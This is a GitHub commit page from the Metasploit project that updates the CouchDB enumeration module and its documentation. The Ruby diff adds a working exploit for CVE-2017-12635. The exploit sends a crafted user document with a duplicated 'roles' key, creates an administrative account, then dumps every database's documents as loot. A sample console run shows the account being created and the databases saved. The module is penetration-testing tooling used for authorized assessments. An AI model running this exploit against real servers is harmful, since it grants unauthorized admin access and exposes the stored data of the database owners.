Skip to content

Commit f965145

Browse files
committed
Land rapid7#10648, auth bypass for couchdb_enum
2 parents b5c4ac6 + 3a72655 commit f965145

File tree

2 files changed

+232
-93
lines changed

2 files changed

+232
-93
lines changed

documentation/modules/auxiliary/scanner/couchdb/couchdb_enum.md

Lines changed: 70 additions & 47 deletions
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,7 @@
33
Apache CouchDB is a nosql database server which communicates over HTTP. This module will enumerate the server and databases hosted on it.
44

55
The following was done on Ubuntu 16.04, and is largely base on [1and1.com](https://www.1and1.com/cloud-community/learn/database/couchdb/install-and-use-couchdb-on-ubuntu-1604/):
6-
6+
77
1. `sudo apt install software-properties-common`
88
2. `sudo add-apt-repository ppa:couchdb/stable`
99
3. `sudo apt update`
@@ -20,54 +20,77 @@ The following was done on Ubuntu 16.04, and is largely base on [1and1.com](https
2020

2121
## Options
2222

23-
**serverinfo**
23+
**SERVERINFO**
24+
25+
If set to `true`, the server info will also enumerated and set in msf's DB. Defaults to `false`.
26+
27+
**CREATEUSER**
2428

25-
If set to true, the server info will also enumerated and set in msf's DB. Defaults to `false`
29+
If set to `true`, the server info will attempt to create an account in CouchDB using configured credentials (limited to CVE-2017-12635 conditions). Defaults to `false`.
2630

2731
## Scenarios
2832

29-
A run against the configuration from these docs
30-
31-
```
32-
msf5 auxiliary(scanner/afp/afp_login) > use auxiliary/scanner/couchdb/couchdb_enum
33-
msf5 auxiliary(scanner/couchdb/couchdb_enum) > set rhosts 1.1.1.1
34-
rhosts => 1.1.1.1
35-
msf5 auxiliary(scanner/couchdb/couchdb_enum) > set verbose true
36-
verbose => true
37-
msf5 auxiliary(scanner/couchdb/couchdb_enum) > run
38-
39-
[+] 1.1.1.1:5984 {
40-
"couchdb": "Welcome",
41-
"uuid": "6f08e89795bd845efc6c2bf3d57799e5",
42-
"version": "1.6.1",
43-
"vendor": {
44-
"version": "16.04",
45-
"name": "Ubuntu"
46-
}
33+
Dumping databases with `SERVERINFO` and `CREATEUSER` set:
34+
35+
```
36+
msf5 > use auxiliary/scanner/couchdb/couchdb_enum
37+
msf5 auxiliary(scanner/couchdb/couchdb_enum) > options
38+
39+
Module options (auxiliary/scanner/couchdb/couchdb_enum):
40+
41+
Name Current Setting Required Description
42+
---- --------------- -------- -----------
43+
CREATEUSER false yes Create Administrative user
44+
HttpPassword IJvoGDWAWzQo yes CouchDB Password
45+
HttpUsername CQuXQnVwQAow yes CouchDB Username
46+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
47+
RHOSTS yes The target address range or CIDR identifier
48+
ROLES _admin yes CouchDB Roles
49+
RPORT 5984 yes The target port (TCP)
50+
SERVERINFO false yes Print server info
51+
SSL false no Negotiate SSL/TLS for outgoing connections
52+
TARGETURI /_all_dbs yes Path to list all the databases
53+
VHOST no HTTP server virtual host
54+
55+
msf5 auxiliary(scanner/couchdb/couchdb_enum) > set rhosts 127.0.0.1
56+
rhosts => 127.0.0.1
57+
msf5 auxiliary(scanner/couchdb/couchdb_enum) > set serverinfo true
58+
serverinfo => true
59+
msf5 auxiliary(scanner/couchdb/couchdb_enum) > set createuser true
60+
createuser => true
61+
msf5 auxiliary(scanner/couchdb/couchdb_enum) > set verbose true
62+
verbose => true
63+
msf5 auxiliary(scanner/couchdb/couchdb_enum) > check
64+
65+
[+] 127.0.0.1:5984 - Found CouchDB version 2.1.0
66+
[*] 127.0.0.1:5984 - The target appears to be vulnerable.
67+
msf5 auxiliary(scanner/couchdb/couchdb_enum) > run
68+
69+
[+] 127.0.0.1:5984 - Found CouchDB version 2.1.0
70+
[+] 127.0.0.1:5984 - User CQuXQnVwQAow created with password IJvoGDWAWzQo. Connect to http://127.0.0.1:5984/_utils/ to login.
71+
[+] 127.0.0.1:5984 - {
72+
"couchdb": "Welcome",
73+
"version": "2.1.0",
74+
"features": [
75+
"scheduler"
76+
],
77+
"vendor": {
78+
"name": "The Apache Software Foundation"
4779
}
48-
[*] #{peer} Enumerating Databases...
49-
[+] 1.1.1.1:5984 Databases:
50-
51-
[
52-
"_replicator",
53-
"_users"
54-
]
55-
56-
[+] 1.1.1.1:5984 File saved in: /root/.msf4/loot/20180721105522_default_1.1.1.1_couchdb.enum_888970.bin
57-
58-
msf5 auxiliary(scanner/couchdb/couchdb_enum) > services
59-
Services
60-
========
61-
62-
host port proto name state info
63-
---- ---- ----- ---- ----- ----
64-
1.1.1.1 5984 tcp couchdb open HTTP/1.1 200 OK
65-
Server: CouchDB/1.6.1 (Erlang OTP/18)
66-
Date: Sat, 21 Jul 2018 14:54:45 GMT
67-
Content-Type: text/plain; charset=utf-8
68-
Content-Length: 127
69-
Cache-Control: must-revalidate
70-
71-
{"couchdb":"Welcome","uuid":"6f08e89795bd845efc6c2bf3d57799e5","version":"1.6.1","vendor":{"version":"16.04","name":"Ubuntu"}}
72-
73-
```
80+
}
81+
[*] 127.0.0.1:5984 - Enumerating Databases...
82+
[+] 127.0.0.1:5984 - Databases:
83+
84+
[
85+
"_global_changes",
86+
"_replicator",
87+
"_users"
88+
]
89+
90+
[+] 127.0.0.1:5984 - File saved in: /Users/wvu/.msf4/loot/20190107125002_default_127.0.0.1_couchdb.enum_790231.bin
91+
[+] 127.0.0.1:5984 - _global_changes saved in: /Users/wvu/.msf4/loot/20190107125002_default_127.0.0.1_couchdb._global__841794.bin
92+
[+] 127.0.0.1:5984 - _replicator saved in: /Users/wvu/.msf4/loot/20190107125002_default_127.0.0.1_couchdb._replica_022445.bin
93+
[+] 127.0.0.1:5984 - _users saved in: /Users/wvu/.msf4/loot/20190107125002_default_127.0.0.1_couchdb._users_671128.bin
94+
[*] Auxiliary module execution completed
95+
msf5 auxiliary(scanner/couchdb/couchdb_enum) >
96+
```

modules/auxiliary/scanner/couchdb/couchdb_enum.rb

Lines changed: 162 additions & 46 deletions
Original file line numberDiff line numberDiff line change
@@ -9,103 +9,219 @@ class MetasploitModule < Msf::Auxiliary
99

1010
def initialize(info = {})
1111
super(update_info(info,
12-
'Name' => 'CouchDB Enum Utility',
13-
'Description' => %q{
12+
'Name' => 'CouchDB Enum Utility',
13+
'Description' => %q{
1414
This module enumerates databases on CouchDB using the REST API
1515
(without authentication by default).
1616
},
17-
'References' =>
17+
'References' =>
1818
[
19+
['CVE', '2017-12635'],
20+
['URL', 'https://justi.cz/security/2017/11/14/couchdb-rce-npm.html'],
1921
['URL', 'https://wiki.apache.org/couchdb/HTTP_database_API']
2022
],
21-
'Author' => [ 'Roberto Soares Espreto <robertoespreto[at]gmail.com>' ],
22-
'License' => MSF_LICENSE
23+
'Author' =>
24+
[
25+
'Max Justicz', # Vulnerability discovery
26+
'Roberto Soares Espreto <robertoespreto[at]gmail.com>', # Metasploit module
27+
'Hendrik Van Belleghem', # (@hendrikvb) Database dump enhancements
28+
'Green-m <greenm.xxoo[at]gmail.com>' # Portions from apache_couchdb_cmd_exec.rb used
29+
],
30+
'License' => MSF_LICENSE
2331
))
2432

2533
register_options(
2634
[
2735
Opt::RPORT(5984),
2836
OptString.new('TARGETURI', [true, 'Path to list all the databases', '/_all_dbs']),
29-
OptBool.new('SERVERINFO', [true, 'Print server info']),
30-
OptString.new('HttpUsername', [false, 'The username to login as']),
31-
OptString.new('HttpPassword', [false, 'The password to login with'])
37+
OptBool.new('SERVERINFO', [true, 'Print server info', false]),
38+
OptBool.new('CREATEUSER', [true, 'Create Administrative user', false]),
39+
OptString.new('HttpUsername', [true, 'CouchDB Username', Rex::Text.rand_text_alpha(12)]),
40+
OptString.new('HttpPassword', [true, 'CouchDB Password', Rex::Text.rand_text_alpha(12)]),
41+
OptString.new('ROLES', [true, 'CouchDB Roles', '_admin'])
42+
3243
])
3344
end
3445

3546
def valid_response(res)
3647
return res.code == 200 && res.headers['Server'].include?('CouchDB')
3748
end
3849

50+
def get_version
51+
@version = nil
52+
53+
begin
54+
res = send_request_cgi(
55+
'uri' => '/',
56+
'method' => 'GET'
57+
)
58+
rescue Rex::ConnectionError
59+
vprint_bad("#{peer} - Connection failed")
60+
return false
61+
end
62+
63+
unless res
64+
vprint_bad("#{peer} - No response, check if it is CouchDB.")
65+
return false
66+
end
67+
68+
if res && res.code == 401
69+
print_bad("#{peer} - Authentication required.")
70+
return false
71+
end
72+
73+
if res && res.code == 200
74+
res_json = res.get_json_document
75+
76+
if res_json.empty?
77+
vprint_bad("#{peer} - Cannot parse the response, seems like it's not CouchDB.")
78+
return false
79+
end
80+
81+
@version = res_json['version'] if res_json['version']
82+
return true
83+
end
84+
85+
vprint_warning("#{peer} - Version not found")
86+
true
87+
end
88+
89+
def check
90+
return Exploit::CheckCode::Unknown unless get_version
91+
version = Gem::Version.new(@version)
92+
return Exploit::CheckCode::Unknown if version.version.empty?
93+
vprint_good("#{peer} - Found CouchDB version #{version}")
94+
95+
return Exploit::CheckCode::Appears if version < Gem::Version.new('1.7.0') || version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0'))
96+
97+
Exploit::CheckCode::Safe
98+
end
99+
39100
def get_dbs(auth)
40101
begin
41102
res = send_request_cgi(
42-
'uri' => normalize_uri(target_uri.path),
43-
'method' => 'GET',
44-
'authorization' => auth
103+
'uri' => normalize_uri(target_uri.path),
104+
'method' => 'GET'
45105
)
46106

47107
temp = JSON.parse(res.body)
48108
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, JSON::ParserError => e
49-
print_error("#{peer} The following Error was encountered: #{e.class}")
109+
print_error("#{peer} - The following Error was encountered: #{e.class}")
50110
return
51111
end
52112

53-
if valid_response(res)
54-
print_status("#{peer} Enumerating Databases...")
55-
results = JSON.pretty_generate(temp)
56-
print_good("#{peer} Databases:\n\n#{results}\n")
57-
58-
path = store_loot(
59-
'couchdb.enum',
60-
'application/json',
61-
rhost,
62-
results,
63-
'CouchDB Databases'
64-
)
113+
unless valid_response(res)
114+
print_error("#{peer} - Unable to enum, received \"#{res.code}\"")
115+
return
116+
end
117+
118+
print_status("#{peer} - Enumerating Databases...")
119+
results = JSON.pretty_generate(temp)
120+
print_good("#{peer} - Databases:\n\n#{results}\n")
121+
path = store_loot(
122+
'couchdb.enum',
123+
'application/json',
124+
rhost,
125+
results,
126+
'CouchDB Databases'
127+
)
65128

66-
print_good("#{peer} File saved in: #{path}")
67-
else
68-
print_error("#{peer} Unable to enum, received \"#{res.code}\"")
129+
print_good("#{peer} - File saved in: #{path}")
130+
res.get_json_document.each do |db|
131+
r = send_request_cgi(
132+
'uri' => normalize_uri(target_uri.path, "/#{db}/_all_docs"),
133+
'method'=> 'GET',
134+
'authorization' => auth,
135+
'vars_get' => {'include_docs' => 'true', 'attachments' => 'true'}
136+
)
137+
if r.code != 200
138+
print_bad("#{peer} - Error retrieving database. Consider providing credentials or setting CREATEUSER and rerunning.")
139+
return
140+
end
141+
temp = JSON.parse(r.body)
142+
results = JSON.pretty_generate(temp)
143+
path = store_loot(
144+
"couchdb.#{db}",
145+
"application/json",
146+
rhost,
147+
results,
148+
"CouchDB Databases"
149+
)
150+
print_good("#{peer} - #{db} saved in: #{path}")
69151
end
70152
end
71153

72154
def get_server_info(auth)
73155
begin
74156
res = send_request_cgi(
75-
'uri' => '/',
76-
'method' => 'GET',
77-
'authorization' => auth
157+
'uri' => '/',
158+
'method' => 'GET'
78159
)
79160

80161
temp = JSON.parse(res.body)
81162
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, JSON::ParserError => e
82-
print_error("#{peer} The following Error was encountered: #{e.class}")
163+
print_error("#{peer} - The following Error was encountered: #{e.class}")
83164
return
84165
end
85166

86-
if valid_response(res)
87-
# Example response: {"couchdb":"Welcome","uuid":"6f08e89795bd845efc6c2bf3d57799e5","version":"1.6.1","vendor":{"version":"16.04","name":"Ubuntu"}}
167+
unless valid_response(res)
168+
print_error("#{peer} - Unable to enum, received \"#{res.code}\"")
169+
return
170+
end
88171

89-
print_good("#{peer} #{JSON.pretty_generate(temp)}")
90-
report_service(
91-
host: rhost,
92-
port: rport,
93-
name: 'couchdb',
94-
proto: 'tcp',
95-
info: res.body
96-
)
97-
else
98-
print_error("#{peer} Unable to enum, received \"#{res.code}\"")
172+
# Example response: {"couchdb":"Welcome","uuid":"6f08e89795bd845efc6c2bf3d57799e5","version":"1.6.1","vendor":{"version":"16.04","name":"Ubuntu"}}
173+
174+
print_good("#{peer} - #{JSON.pretty_generate(temp)}")
175+
report_service(
176+
host: rhost,
177+
port: rport,
178+
name: 'couchdb',
179+
proto: 'tcp',
180+
info: res.body
181+
)
182+
end
183+
184+
def create_user
185+
username = datastore['HttpUsername']
186+
password = datastore['HttpPassword']
187+
roles = datastore['ROLES']
188+
timeout = datastore['TIMEOUT']
189+
version = @version
190+
191+
data = %Q({
192+
"type": "user",
193+
"name": "#{username}",
194+
"roles": ["#{roles}"],
195+
"roles": [],
196+
"password": "#{password}"
197+
})
198+
res = send_request_cgi(
199+
{ 'uri' => "/_users/org.couchdb.user:#{username}", # http://hostname:port/_users/org.couchdb.user:username
200+
'method' => 'PUT',
201+
'ctype' => 'text/json',
202+
'data' => data,
203+
}, timeout)
204+
205+
unless res && res.code == 200
206+
print_error("#{peer} - Change Failed")
207+
return
99208
end
209+
210+
print_good("#{peer} - User #{username} created with password #{password}. Connect to #{full_uri('/_utils/')} to login.")
100211
end
101212

102213
def run
103214
username = datastore['HttpUsername']
104215
password = datastore['HttpPassword']
105-
auth = basic_auth(username, password) if username && password
106-
if datastore['SERVERINFO']
107-
get_server_info(auth)
216+
217+
if datastore['CREATEUSER']
218+
fail_with(Failure::Unknown, 'get_version failed in run') unless get_version
219+
version = Gem::Version.new(@version)
220+
print_good("#{peer} - Found CouchDB version #{version}")
221+
create_user if version < Gem::Version.new('1.7.0') || version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0'))
108222
end
223+
auth = basic_auth(username, password) if username && password
224+
get_server_info(auth) if datastore['SERVERINFO']
109225
get_dbs(auth)
110226
end
111227
end

0 commit comments

Comments
 (0)